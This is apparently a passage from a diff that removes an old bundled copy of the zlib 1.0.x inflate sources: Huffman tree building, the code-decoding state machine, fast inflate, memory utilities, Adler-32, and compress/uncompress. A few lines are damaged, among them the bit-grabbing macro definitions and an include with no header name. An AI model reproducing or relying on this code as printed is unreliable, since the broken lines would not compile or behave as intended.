maximum length, bound *m by those */ - l = *m; - for (j = 1; j <= BMAX; j++) - if (c[j]) - break; - k = j; /* minimum code length */ - if ((uInt)l < j) - l = j; - for (i = BMAX; i; i--) - if (c[i]) - break; - g = i; /* maximum code length */ - if ((uInt)l > i) - l = i; - *m = l; - - - /* Adjust last length count to fill out codes, if needed */ - for (y = 1 << j; j < i; j++, y <<= 1) - if ((y -= c[j]) < 0) - return Z_DATA_ERROR; - if ((y -= c[i]) < 0) - return Z_DATA_ERROR; - c[i] += y; - - - /* Generate starting offsets into the value table for each length */ - x[1] = j = 0; - p = c + 1; xp = x + 2; - while (--i) { /* note that i == g from above */ - *xp++ = (j += *p++); - } - - - /* Make a table of values in order of bit lengths */ - p = b; i = 0; - do { - if ((j = *p++) != 0) - v[x[j]++] = i; - } while (++i < n); - n = x[g]; /* set n to length of v */ - - - /* Generate the Huffman codes and for each, make the table entries */ - x[0] = i = 0; /* first Huffman code is zero */ - p = v; /* grab values in bit order */ - h = -1; /* no tables yet--level -1 */ - w = -l; /* bits decoded == (l * h) */ - u[0] = (inflate_huft *)Z_NULL; /* just to keep compilers happy */ - q = (inflate_huft *)Z_NULL; /* ditto */ - z = 0; /* ditto */ - - /* go through the bit lengths (k already is bits in shortest code) */ - for (; k <= g; k++) - { - a = c[k]; - while (a--) - { - /* here i is the Huffman code of length k bits for value *p */ - /* make tables up to required level */ - while (k > w + l) - { - h++; - w += l; /* previous table always l bits */ - - /* compute minimum size table less than or equal to l bits */ - z = g - w; - z = z > (uInt)l ? l : z; /* table size upper limit */ - if ((f = 1 << (j = k - w)) > a + 1) /* try a k-w bit table */ - { /* too few codes for k-w bit table */ - f -= a + 1; /* deduct codes from patterns left */ - xp = c + k; - if (j < z) - while (++j < z) /* try smaller tables up to z bits */ - { - if ((f <<= 1) <= *++xp) - break; /* enough codes to use up j bits */ - f -= *xp; /* else deduct codes from patterns */ - } - } - z = 1 << j; /* table entries for j-bit table */ - - /* allocate and link in new table */ - if ((q = (inflate_huft *)ZALLOC - (zs,z + 1,sizeof(inflate_huft))) == Z_NULL) - { - if (h) - inflate_trees_free(u[0], zs); - return Z_MEM_ERROR; /* not enough memory */ - } -#ifdef DEBUG_ZLIB - inflate_hufts += z + 1; -#endif - *t = q + 1; /* link to list for huft_free() */ - *(t = &(q->next)) = Z_NULL; - u[h] = ++q; /* table starts after link */ - - /* connect to last table, if there is one */ - if (h) - { - x[h] = i; /* save pattern for backing up */ - r.bits = (Byte)l; /* bits to dump before this table */ - r.exop = (Byte)j; /* bits in this table */ - r.next = q; /* pointer to this table */ - j = i >> (w - l); /* (get around Turbo C bug) */ - u[h-1][j] = r; /* connect to last table */ - } - } - - /* set up table entry in r */ - r.bits = (Byte)(k - w); - if (p >= v + n) - r.exop = 128 + 64; /* out of values--invalid code */ - else if (*p < s) - { - r.exop = (Byte)(*p < 256 ? 0 : 32 + 64); /* 256 is end-of-block */ - r.base = *p++; /* simple code is just the value */ - } - else - { - r.exop = (Byte)(e[*p - s] + 16 + 64);/* non-simple--look up in lists */ - r.base = d[*p++ - s]; - } - - /* fill code-like entries with r */ - f = 1 << (k - w); - for (j = i >> w; j < z; j += f) - q[j] = r; - - /* backwards increment the k-bit code i */ - for (j = 1 << (k - 1); i & j; j >>= 1) - i ^= j; - i ^= j; - - /* backup over finished tables */ - while ((i & ((1 << w) - 1)) != x[h]) - { - h--; /* don't need to update q */ - w -= l; - } - } - } - - - /* Return Z_BUF_ERROR if we were given an incomplete table */ - return y != 0 && g != 1 ? Z_BUF_ERROR : Z_OK; -} - - -int inflate_trees_bits( -uIntf *c, /* 19 code lengths */ -uIntf *bb, /* bits tree desired/actual depth */ -inflate_huft * FAR *tb, /* bits tree result */ -z_streamp z /* for zfree function */ -) -{ - int r; - - r = huft_build(c, 19, 19, (uIntf*)Z_NULL, (uIntf*)Z_NULL, tb, bb, z); - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed dynamic bit lengths tree"; - else if (r == Z_BUF_ERROR || *bb == 0) - { - inflate_trees_free(*tb, z); - z->msg = (char*)"incomplete dynamic bit lengths tree"; - r = Z_DATA_ERROR; - } - return r; -} - - -int inflate_trees_dynamic( -uInt nl, /* number of literal/length codes */ -uInt nd, /* number of distance codes */ -uIntf *c, /* that many (total) code lengths */ -uIntf *bl, /* literal desired/actual bit depth */ -uIntf *bd, /* distance desired/actual bit depth */ -inflate_huft * FAR *tl, /* literal/length tree result */ -inflate_huft * FAR *td, /* distance tree result */ -z_streamp z /* for zfree function */ -) -{ - int r; - - /* build literal/length tree */ - r = huft_build(c, nl, 257, cplens, cplext, tl, bl, z); - if (r != Z_OK || *bl == 0) - { - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed literal/length tree"; - else if (r != Z_MEM_ERROR) - { - inflate_trees_free(*tl, z); - z->msg = (char*)"incomplete literal/length tree"; - r = Z_DATA_ERROR; - } - return r; - } - - /* build distance tree */ - r = huft_build(c + nl, nd, 0, cpdist, cpdext, td, bd, z); - if (r != Z_OK || (*bd == 0 && nl > 257)) - { - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed distance tree"; - else if (r == Z_BUF_ERROR) { -#ifdef PKZIP_BUG_WORKAROUND - r = Z_OK; - } -#else - inflate_trees_free(*td, z); - z->msg = (char*)"incomplete distance tree"; - r = Z_DATA_ERROR; - } - else if (r != Z_MEM_ERROR) - { - z->msg = (char*)"empty distance tree with lengths"; - r = Z_DATA_ERROR; - } - inflate_trees_free(*tl, z); - return r; -#endif - } - - /* done */ - return Z_OK; -} - - -/* build fixed tables only once--keep them here */ -local int fixed_built = 0; -#define FIXEDH 530 /* number of hufts used by fixed tables */ -local inflate_huft fixed_mem[FIXEDH]; -local uInt fixed_bl; -local uInt fixed_bd; -local inflate_huft *fixed_tl; -local inflate_huft *fixed_td; - - -local voidpf falloc( -voidpf q, /* opaque pointer */ -uInt n, /* number of items */ -uInt s /* size of item */ -) -{ - Assert(s == sizeof(inflate_huft) && n <= *(intf *)q, - "inflate_trees falloc overflow"); - *(intf *)q -= n+s-s; /* s-s to avoid warning */ - return (voidpf)(fixed_mem + *(intf *)q); -} - - -int inflate_trees_fixed( -uIntf *bl, /* literal desired/actual bit depth */ -uIntf *bd, /* distance desired/actual bit depth */ -inflate_huft * FAR *tl, /* literal/length tree result */ -inflate_huft * FAR *td /* distance tree result */ -) -{ - /* build fixed tables if not already (multiple overlapped executions ok) */ - if (!fixed_built) - { - int k; /* temporary variable */ - unsigned c[288]; /* length list for huft_build */ - z_stream z; /* for falloc function */ - int f = FIXEDH; /* number of hufts left in fixed_mem */ - - /* set up fake z_stream for memory routines */ - z.zalloc = falloc; - z.zfree = Z_NULL; - z.opaque = (voidpf)&f; - - /* literal table */ - for (k = 0; k < 144; k++) - c[k] = 8; - for (; k < 256; k++) - c[k] = 9; - for (; k < 280; k++) - c[k] = 7; - for (; k < 288; k++) - c[k] = 8; - fixed_bl = 7; - huft_build(c, 288, 257, cplens, cplext, &fixed_tl, &fixed_bl, &z); - - /* distance table */ - for (k = 0; k < 30; k++) - c[k] = 5; - fixed_bd = 5; - huft_build(c, 30, 0, cpdist, cpdext, &fixed_td, &fixed_bd, &z); - - /* done */ - Assert(f == 0, "invalid build of fixed tables"); - fixed_built = 1; - } - *bl = fixed_bl; - *bd = fixed_bd; - *tl = fixed_tl; - *td = fixed_td; - return Z_OK; -} - - -int inflate_trees_free( -inflate_huft *t, /* table to free */ -z_streamp z /* for zfree function */ -) -/* Free the malloc'ed tables built by huft_build(), which makes a linked - list of the tables it made, with the links in a dummy first entry of - each table. */ -{ - register inflate_huft *p, *q, *r; - - /* Reverse linked list */ - p = Z_NULL; - q = t; - while (q != Z_NULL) - { - r = (q - 1)->next; - (q - 1)->next = p; - p = q; - q = r; - } - /* Go through linked list, freeing from the malloced (t[-1]) address. */ - while (p != Z_NULL) - { - q = (--p)->next; - ZFREE(z,p); - p = q; - } - return Z_OK; -} -/* --- inftrees.c */ - -/* +++ infcodes.c */ -/* infcodes.c -- process literals and length/distance pairs - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ -/* #include "infblock.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ - -/* +++ inffast.h */ -/* inffast.h -- header to use inffast.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -extern int inflate_fast OF(( - uInt, - uInt, - inflate_huft *, - inflate_huft *, - inflate_blocks_statef *, - z_streamp )); -/* --- inffast.h */ - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - -/* inflate codes private state */ -struct inflate_codes_state { - - /* mode */ - enum { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ - START, /* x: set up for LEN */ - LEN, /* i: get length/literal/eob next */ - LENEXT, /* i: getting length extra (have base) */ - DIST, /* i: get distance next */ - DISTEXT, /* i: getting distance extra */ - COPY, /* o: copying bytes in window, waiting for space */ - LIT, /* o: got literal, waiting for output space */ - WASH, /* o: got eob, possibly still output waiting */ - END, /* x: got eob and all data flushed */ - BADCODE} /* x: got error */ - mode; /* current inflate_codes mode */ - - /* mode dependent information */ - uInt len; - union { - struct { - inflate_huft *tree; /* pointer into tree */ - uInt need; /* bits needed */ - } code; /* if LEN or DIST, where in tree */ - uInt lit; /* if LIT, literal */ - struct { - uInt get; /* bits to get for extra */ - uInt dist; /* distance back to copy from */ - } copy; /* if EXT or COPY, where and how much */ - } sub; /* submode */ - - /* mode independent information */ - Byte lbits; /* ltree bits decoded per branch */ - Byte dbits; /* dtree bits decoder per branch */ - inflate_huft *ltree; /* literal/length/eob tree */ - inflate_huft *dtree; /* distance tree */ - -}; - - -inflate_codes_statef *inflate_codes_new( -uInt bl, -uInt bd, -inflate_huft *tl, -inflate_huft *td, /* need separate declaration for Borland C++ */ -z_streamp z -) -{ - inflate_codes_statef *c; - - if ((c = (inflate_codes_statef *) - ZALLOC(z,1,sizeof(struct inflate_codes_state))) != Z_NULL) - { - c->mode = START; - c->lbits = (Byte)bl; - c->dbits = (Byte)bd; - c->ltree = tl; - c->dtree = td; - Tracev((stderr, "inflate: codes new\n")); - } - return c; -} - - -int inflate_codes(inflate_blocks_statef *s, z_streamp z, int r) -{ - uInt j; /* temporary storage */ - inflate_huft *t; /* temporary pointer */ - uInt e; /* extra bits or operation */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - Bytef *f; /* pointer to copy strings from */ - inflate_codes_statef *c = s->sub.decode.codes; /* codes state */ - - /* copy input/output information to locals (UPDATE macro restores) */ - LOAD - - /* process input and output based on current state */ - while (1) switch (c->mode) - { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ - case START: /* x: set up for LEN */ -#ifndef SLOW - if (m >= 258 && n >= 10) - { - UPDATE - r = inflate_fast(c->lbits, c->dbits, c->ltree, c->dtree, s, z); - LOAD - if (r != Z_OK) - { - c->mode = r == Z_STREAM_END ? WASH : BADCODE; - break; - } - } -#endif /* !SLOW */ - c->sub.code.need = c->lbits; - c->sub.code.tree = c->ltree; - c->mode = LEN; - case LEN: /* i: get length/literal/eob next */ - j = c->sub.code.need; - NEEDBITS(j) - t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); - DUMPBITS(t->bits) - e = (uInt)(t->exop); - if (e == 0) /* literal */ - { - c->sub.lit = t->base; - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: literal '%c'\n" : - "inflate: literal 0x%02x\n", t->base)); - c->mode = LIT; - break; - } - if (e & 16) /* length */ - { - c->sub.copy.get = e & 15; - c->len = t->base; - c->mode = LENEXT; - break; - } - if ((e & 64) == 0) /* next table */ - { - c->sub.code.need = e; - c->sub.code.tree = t->next; - break; - } - if (e & 32) /* end of block */ - { - Tracevv((stderr, "inflate: end of block\n")); - c->mode = WASH; - break; - } - c->mode = BADCODE; /* invalid code */ - z->msg = (char*)"invalid literal/length code"; - r = Z_DATA_ERROR; - LEAVE - case LENEXT: /* i: getting length extra (have base) */ - j = c->sub.copy.get; - NEEDBITS(j) - c->len += (uInt)b & inflate_mask[j]; - DUMPBITS(j) - c->sub.code.need = c->dbits; - c->sub.code.tree = c->dtree; - Tracevv((stderr, "inflate: length %u\n", c->len)); - c->mode = DIST; - case DIST: /* i: get distance next */ - j = c->sub.code.need; - NEEDBITS(j) - t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); - DUMPBITS(t->bits) - e = (uInt)(t->exop); - if (e & 16) /* distance */ - { - c->sub.copy.get = e & 15; - c->sub.copy.dist = t->base; - c->mode = DISTEXT; - break; - } - if ((e & 64) == 0) /* next table */ - { - c->sub.code.need = e; - c->sub.code.tree = t->next; - break; - } - c->mode = BADCODE; /* invalid code */ - z->msg = (char*)"invalid distance code"; - r = Z_DATA_ERROR; - LEAVE - case DISTEXT: /* i: getting distance extra */ - j = c->sub.copy.get; - NEEDBITS(j) - c->sub.copy.dist += (uInt)b & inflate_mask[j]; - DUMPBITS(j) - Tracevv((stderr, "inflate: distance %u\n", c->sub.copy.dist)); - c->mode = COPY; - case COPY: /* o: copying bytes in window, waiting for space */ -#ifndef __TURBOC__ /* Turbo C bug for following expression */ - f = (uInt)(q - s->window) < c->sub.copy.dist ? - s->end - (c->sub.copy.dist - (q - s->window)) : - q - c->sub.copy.dist; -#else - f = q - c->sub.copy.dist; - if ((uInt)(q - s->window) < c->sub.copy.dist) - f = s->end - (c->sub.copy.dist - (uInt)(q - s->window)); -#endif - while (c->len) - { - NEEDOUT - OUTBYTE(*f++) - if (f == s->end) - f = s->window; - c->len--; - } - c->mode = START; - break; - case LIT: /* o: got literal, waiting for output space */ - NEEDOUT - OUTBYTE(c->sub.lit) - c->mode = START; - break; - case WASH: /* o: got eob, possibly more output */ - FLUSH - if (s->read != s->write) - LEAVE - c->mode = END; - case END: - r = Z_STREAM_END; - LEAVE - case BADCODE: /* x: got error */ - r = Z_DATA_ERROR; - LEAVE - default: - r = Z_STREAM_ERROR; - LEAVE - } -} - - -void inflate_codes_free(inflate_codes_statef *c, z_streamp z) -{ - ZFREE(z, c); - Tracev((stderr, "inflate: codes free\n")); -} -/* --- infcodes.c */ - -/* +++ infutil.c */ -/* inflate_util.c -- data and routines common to blocks and codes - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "infblock.h" */ -/* #include "inftrees.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* And'ing with mask[n] masks the lower n bits */ -uInt inflate_mask[17] = { - 0x0000, - 0x0001, 0x0003, 0x0007, 0x000f, 0x001f, 0x003f, 0x007f, 0x00ff, - 0x01ff, 0x03ff, 0x07ff, 0x0fff, 0x1fff, 0x3fff, 0x7fff, 0xffff -}; - - -/* copy as much as possible from the sliding window to the output area */ -int inflate_flush(inflate_blocks_statef *s, z_streamp z, int r) -{ - uInt n; - Bytef *p; - Bytef *q; - - /* local copies of source and destination pointers */ - p = z->next_out; - q = s->read; - - /* compute number of bytes to copy as far as end of window */ - n = (uInt)((q <= s->write ? s->write : s->end) - q); - if (n > z->avail_out) n = z->avail_out; - if (n && r == Z_BUF_ERROR) r = Z_OK; - - /* update counters */ - z->avail_out -= n; - z->total_out += n; - - /* update check information */ - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(s->check, q, n); - - /* copy as far as end of window */ - if (p != Z_NULL) { - zmemcpy(p, q, n); - p += n; - } - q += n; - - /* see if more to copy at beginning of window */ - if (q == s->end) - { - /* wrap pointers */ - q = s->window; - if (s->write == s->end) - s->write = s->window; - - /* compute bytes to copy */ - n = (uInt)(s->write - q); - if (n > z->avail_out) n = z->avail_out; - if (n && r == Z_BUF_ERROR) r = Z_OK; - - /* update counters */ - z->avail_out -= n; - z->total_out += n; - - /* update check information */ - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(s->check, q, n); - - /* copy */ - if (p != Z_NULL) { - zmemcpy(p, q, n); - p += n; - } - q += n; - } - - /* update pointers */ - z->next_out = p; - s->read = q; - - /* done */ - return r; -} -/* --- infutil.c */ - -/* +++ inffast.c */ -/* inffast.c -- process literals and length/distance pairs fast - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ -/* #include "infblock.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ -/* #include "inffast.h" */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - -/* macros for bit input with no checking and for returning unused bytes */ -#define GRABBITS(j) {while(k<(j)){b|=((uLong)NEXTBYTE)<>3);p-=c;k&=7;} - -/* Called with number of bytes left to write in window at least 258 - (the maximum string length) and number of input bytes available - at least ten. The ten bytes are six bytes for the longest length/ - distance pair plus four bytes for overloading the bit buffer. */ - -int inflate_fast( -uInt bl, -uInt bd, -inflate_huft *tl, -inflate_huft *td, /* need separate declaration for Borland C++ */ -inflate_blocks_statef *s, -z_streamp z -) -{ - inflate_huft *t; /* temporary pointer */ - uInt e; /* extra bits or operation */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - uInt ml; /* mask for literal/length tree */ - uInt md; /* mask for distance tree */ - uInt c; /* bytes to copy */ - uInt d; /* distance back to copy from */ - Bytef *r; /* copy source pointer */ - - /* load input, output, bit values */ - LOAD - - /* initialize masks */ - ml = inflate_mask[bl]; - md = inflate_mask[bd]; - - /* do until not enough input or output space for fast loop */ - do { /* assume called with m >= 258 && n >= 10 */ - /* get literal/length code */ - GRABBITS(20) /* max bits for literal/length code */ - if ((e = (t = tl + ((uInt)b & ml))->exop) == 0) - { - DUMPBITS(t->bits) - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: * literal '%c'\n" : - "inflate: * literal 0x%02x\n", t->base)); - *q++ = (Byte)t->base; - m--; - continue; - } - do { - DUMPBITS(t->bits) - if (e & 16) - { - /* get extra bits for length */ - e &= 15; - c = t->base + ((uInt)b & inflate_mask[e]); - DUMPBITS(e) - Tracevv((stderr, "inflate: * length %u\n", c)); - - /* decode distance base of block to copy */ - GRABBITS(15); /* max bits for distance code */ - e = (t = td + ((uInt)b & md))->exop; - do { - DUMPBITS(t->bits) - if (e & 16) - { - /* get extra bits to add to distance base */ - e &= 15; - GRABBITS(e) /* get extra bits (up to 13) */ - d = t->base + ((uInt)b & inflate_mask[e]); - DUMPBITS(e) - Tracevv((stderr, "inflate: * distance %u\n", d)); - - /* do the copy */ - m -= c; - if ((uInt)(q - s->window) >= d) /* offset before dest */ - { /* just copy */ - r = q - d; - *q++ = *r++; c--; /* minimum count is three, */ - *q++ = *r++; c--; /* so unroll loop a little */ - } - else /* else offset after destination */ - { - e = d - (uInt)(q - s->window); /* bytes from offset to end */ - r = s->end - e; /* pointer to offset */ - if (c > e) /* if source crosses, */ - { - c -= e; /* copy to end of window */ - do { - *q++ = *r++; - } while (--e); - r = s->window; /* copy rest from start of window */ - } - } - do { /* copy all or what's left */ - *q++ = *r++; - } while (--c); - break; - } - else if ((e & 64) == 0) - e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop; - else - { - z->msg = (char*)"invalid distance code"; - UNGRAB - UPDATE - return Z_DATA_ERROR; - } - } while (1); - break; - } - if ((e & 64) == 0) - { - if ((e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop) == 0) - { - DUMPBITS(t->bits) - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: * literal '%c'\n" : - "inflate: * literal 0x%02x\n", t->base)); - *q++ = (Byte)t->base; - m--; - break; - } - } - else if (e & 32) - { - Tracevv((stderr, "inflate: * end of block\n")); - UNGRAB - UPDATE - return Z_STREAM_END; - } - else - { - z->msg = (char*)"invalid literal/length code"; - UNGRAB - UPDATE - return Z_DATA_ERROR; - } - } while (1); - } while (m >= 258 && n >= 10); - - /* not enough input or output--restore pointers and return */ - UNGRAB - UPDATE - return Z_OK; -} -/* --- inffast.c */ - -/* +++ zutil.c */ -/* zutil.c -- target dependent utility functions for the compression library - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* From: zutil.c,v 1.17 1996/07/24 13:41:12 me Exp $ */ - -#ifdef DEBUG_ZLIB -#include -#endif - -/* #include "zutil.h" */ - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -#ifndef STDC -extern void exit OF((int)); -#endif - -static const char *z_errmsg[10] = { -"need dictionary", /* Z_NEED_DICT 2 */ -"stream end", /* Z_STREAM_END 1 */ -"", /* Z_OK 0 */ -"file error", /* Z_ERRNO (-1) */ -"stream error", /* Z_STREAM_ERROR (-2) */ -"data error", /* Z_DATA_ERROR (-3) */ -"insufficient memory", /* Z_MEM_ERROR (-4) */ -"buffer error", /* Z_BUF_ERROR (-5) */ -"incompatible version",/* Z_VERSION_ERROR (-6) */ -""}; - - -const char *zlibVersion() -{ - return ZLIB_VERSION; -} - -#ifdef DEBUG_ZLIB -void z_error (char *m) -{ - fprintf(stderr, "%s\n", m); - exit(1); -} -#endif - -#ifndef HAVE_MEMCPY - -void zmemcpy(Bytef* dest, Bytef* source, uInt len) -{ - if (len == 0) return; - do { - *dest++ = *source++; /* ??? to be unrolled */ - } while (--len != 0); -} - -int zmemcmp(Bytef* s1, Bytef* s2, uInt len) -{ - uInt j; - - for (j = 0; j < len; j++) { - if (s1[j] != s2[j]) return 2*(s1[j] > s2[j])-1; - } - return 0; -} - -void zmemzero(Bytef* dest, uInt len) -{ - if (len == 0) return; - do { - *dest++ = 0; /* ??? to be unrolled */ - } while (--len != 0); -} -#endif - -#ifdef __TURBOC__ -#if (defined( __BORLANDC__) || !defined(SMALL_MEDIUM)) && !defined(__32BIT__) -/* Small and medium model in Turbo C are for now limited to near allocation - * with reduced MAX_WBITS and MAX_MEM_LEVEL - */ -# define MY_ZCALLOC - -/* Turbo C malloc() does not allow dynamic allocation of 64K bytes - * and farmalloc(64K) returns a pointer with an offset of 8, so we - * must fix the pointer. Warning: the pointer must be put back to its - * original form in order to free it, use zcfree(). - */ - -#define MAX_PTR 10 -/* 10*64K = 640K */ - -local int next_ptr = 0; - -typedef struct ptr_table_s { - voidpf org_ptr; - voidpf new_ptr; -} ptr_table; - -local ptr_table table[MAX_PTR]; -/* This table is used to remember the original form of pointers - * to large buffers (64K). Such pointers are normalized with a zero offset. - * Since MSDOS is not a preemptive multitasking OS, this table is not - * protected from concurrent access. This hack doesn't work anyway on - * a protected system like OS/2. Use Microsoft C instead. - */ - -voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) -{ - voidpf buf = opaque; /* just to make some compilers happy */ - ulg bsize = (ulg)items*size; - - /* If we allocate less than 65520 bytes, we assume that farmalloc - * will return a usable pointer which doesn't have to be normalized. - */ - if (bsize < 65520L) { - buf = farmalloc(bsize); - if (*(ush*)&buf != 0) return buf; - } else { - buf = farmalloc(bsize + 16L); - } - if (buf == NULL || next_ptr >= MAX_PTR) return NULL; - table[next_ptr].org_ptr = buf; - - /* Normalize the pointer to seg:0 */ - *((ush*)&buf+1) += ((ush)((uch*)buf-0) + 15) >> 4; - *(ush*)&buf = 0; - table[next_ptr++].new_ptr = buf; - return buf; -} - -void zcfree (voidpf opaque, voidpf ptr) -{ - int n; - if (*(ush*)&ptr != 0) { /* object < 64K */ - farfree(ptr); - return; - } - /* Find the original pointer */ - for (n = 0; n < next_ptr; n++) { - if (ptr != table[n].new_ptr) continue; - - farfree(table[n].org_ptr); - while (++n < next_ptr) { - table[n-1] = table[n]; - } - next_ptr--; - return; - } - ptr = opaque; /* just to make some compilers happy */ - Assert(0, "zcfree: ptr not found"); -} -#endif -#endif /* __TURBOC__ */ - - -#if defined(M_I86) && !defined(__32BIT__) -/* Microsoft C in 16-bit mode */ - -# define MY_ZCALLOC - -#if (!defined(_MSC_VER) || (_MSC_VER < 600)) -# define _halloc halloc -# define _hfree hfree -#endif - -voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) -{ - if (opaque) opaque = 0; /* to make compiler happy */ - return _halloc((long)items, size); -} - -void zcfree (voidpf opaque, voidpf ptr) -{ - if (opaque) opaque = 0; /* to make compiler happy */ - _hfree(ptr); -} - -#endif /* MSC */ - - -#ifndef MY_ZCALLOC /* Any system without a special alloc function */ - -#ifndef STDC -extern voidp calloc OF((uInt items, uInt size)); -extern void free OF((voidpf ptr)); -#endif - -voidpf zcalloc(voidpf opaque, unsigned items, unsigned size) -{ - if (opaque) items += size - size; /* make compiler happy */ - return (voidpf)calloc(items, size); -} - -void zcfree(voidpf opaque, voidpf ptr) -{ - free(ptr); - if (opaque) return; /* make compiler happy */ -} - -#endif /* MY_ZCALLOC */ -/* --- zutil.c */ - -/* +++ adler32.c */ -/* adler32.c -- compute the Adler-32 checksum of a data stream - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* From: adler32.c,v 1.10 1996/05/22 11:52:18 me Exp $ */ - -/* #include "zlib.h" */ - -#define BASE 65521L /* largest prime smaller than 65536 */ -#define NMAX 5552 -/* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */ - -#define DO1(buf,i) {s1 += buf[(i)]; s2 += s1;} -#define DO2(buf,i) DO1(buf,i); DO1(buf,(i)+1); -#define DO4(buf,i) DO2(buf,i); DO2(buf,(i)+2); -#define DO8(buf,i) DO4(buf,i); DO4(buf,(i)+4); -#define DO16(buf) DO8(buf,0); DO8(buf,8); - -/* ========================================================================= */ -uLong adler32(uLong adler, const Bytef *buf, uInt len) -{ - unsigned long s1 = adler & 0xffff; - unsigned long s2 = (adler >> 16) & 0xffff; - int k; - - if (buf == Z_NULL) return 1L; - - while (len > 0) { - k = len < NMAX ? len : NMAX; - len -= k; - while (k >= 16) { - DO16(buf); - buf += 16; - k -= 16; - } - if (k != 0) do { - s1 += *buf++; - s2 += s1; - } while (--k); - s1 %= BASE; - s2 %= BASE; - } - return (s2 << 16) | s1; -} -/* --- adler32.c */ - -// compress.c -/* =========================================================================== - Compresses the source buffer into the destination buffer. The level - parameter has the same meaning as in deflateInit. sourceLen is the byte - length of the source buffer. Upon entry, destLen is the total size of the - destination buffer, which must be at least 0.1% larger than sourceLen plus - 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. - - compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough - memory, Z_BUF_ERROR if there was not enough room in the output buffer, - Z_STREAM_ERROR if the level parameter is invalid. -*/ -int EXPORT compress2(Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen, int level) -{ - z_stream stream; - int err; - - stream.next_in = (Bytef*)source; - stream.avail_in = (uInt)sourceLen; -#ifdef MAXSEG_64K - /* Check for source > 64K on 16-bit machine: */ - if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; -#endif - stream.next_out = dest; - stream.avail_out = (uInt)*destLen; - if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; - - stream.zalloc = (alloc_func)0; - stream.zfree = (free_func)0; - stream.opaque = (voidpf)0; - - err = deflateInit(&stream, level); - if (err != Z_OK) return err; - - err = deflate(&stream, Z_FINISH); - if (err != Z_STREAM_END) { - deflateEnd(&stream); - return err == Z_OK ? Z_BUF_ERROR : err; - } - *destLen = stream.total_out; - - err = deflateEnd(&stream); - return err; -} - -int EXPORT compress (Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen) -{ - return compress2(dest, destLen, source, sourceLen, Z_DEFAULT_COMPRESSION); -} -// uncompr.c -/* =========================================================================== - Decompresses the source buffer into the destination buffer. sourceLen is - the byte length of the source buffer. Upon entry, destLen is the total - size of the destination buffer, which must be large enough to hold the - entire uncompressed data. (The size of the uncompressed data must have - been saved previously by the compressor and transmitted to the decompressor - by some mechanism outside the scope of this compression library.) - Upon exit, destLen is the actual size of the compressed buffer. - This function can be used to decompress a whole file at once if the - input file is mmap'ed. - - uncompress returns Z_OK if success, Z_MEM_ERROR if there was not - enough memory, Z_BUF_ERROR if there was not enough room in the output - buffer, or Z_DATA_ERROR if the input data was corrupted. -*/ -int EXPORT uncompress(Bytef *dest,uLongf *destLen,const Bytef *source, uLong sourceLen) -{ - z_stream stream; - int err; - - stream.next_in = (Bytef*)source; - stream.avail_in = (uInt)sourceLen; - /* Check for source > 64K on 16-bit machine: */ - if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; - - stream.next_out = dest; - stream.avail_out = (uInt)*destLen; - if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; - - stream.zalloc = (alloc_func)0; - stream.zfree = (free_func)0; - - err = inflateInit(&stream); - if (err != Z_OK) return err; - - err = inflate(&stream, Z_FINISH); - if (err != Z_STREAM_END) { - inflateEnd(&stream); - return err == Z_OK ? Z_BUF_ERROR : 